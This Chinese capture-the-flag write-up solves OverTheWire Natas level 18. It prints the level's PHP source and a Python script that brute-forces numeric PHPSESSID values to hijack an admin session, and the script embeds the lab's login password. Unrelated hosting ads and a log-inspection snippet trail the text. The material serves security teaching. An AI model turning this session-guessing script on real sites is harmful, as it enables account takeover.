我们打开lv18,查看信息
尝试登陆
结果显示
必须登陆为admin
才能获取到natas19的凭证
我们查看源码
<?php $maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg
";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:
";
print "Username: natas19n";
print "Password:
";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
好像在需要一些条件
获取下一关的信息,必须session要对
我们打开BP抓包,观察
多观察几个请求包
发现第一次post得到的包
会在下一次请求中一直有
于是我们使用bp进行爆破
1-640的数字爆破
添加标志位
选择number进行
BP社区版不给使用
只能使用python脚本进行
原理是一样的,更改sessin的值
#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth
s = requests.Session()
s.auth = HTTPBasicAuth("natas18", "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP")
url = 'http://natas18.natas.labs.overthewire.org/?debug'
# resp = s.post(url, data={"username":'admin', "password":'abc'})
# print(s.cookies.get_dict())
# print(resp.headers)
# print(resp.text)
for i in range(1, 641):
print(f'Trying PHPSESSID...{i}', end="r", flush=True)
resp = s.post(url, data={"username":'admin', "password":'xxx'}, cookies={'PHPSESSID': str(i)})
if resp and "Password: " in resp.text:
print(f'nPHPSESSID found: {i}')
print(resp.text)
break
我们进行修改,因为密码不一样
在vscode中进行
等待结果
得到密码
验证密码
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
机房租用,北京机房租用,IDC机房托管, http://www.fwqtg.net
以下操作是在CentOS 6.9的系统中查看的。 1.入侵者可能会删除机器的日志信息 可以查看日志信息是否还存在或者是否被清空,相关命令示例: 2.入侵者可能创建一个新的存放用户名及密码文件 可以查看/etc/passwd及/etc/shadow文件,相关命令…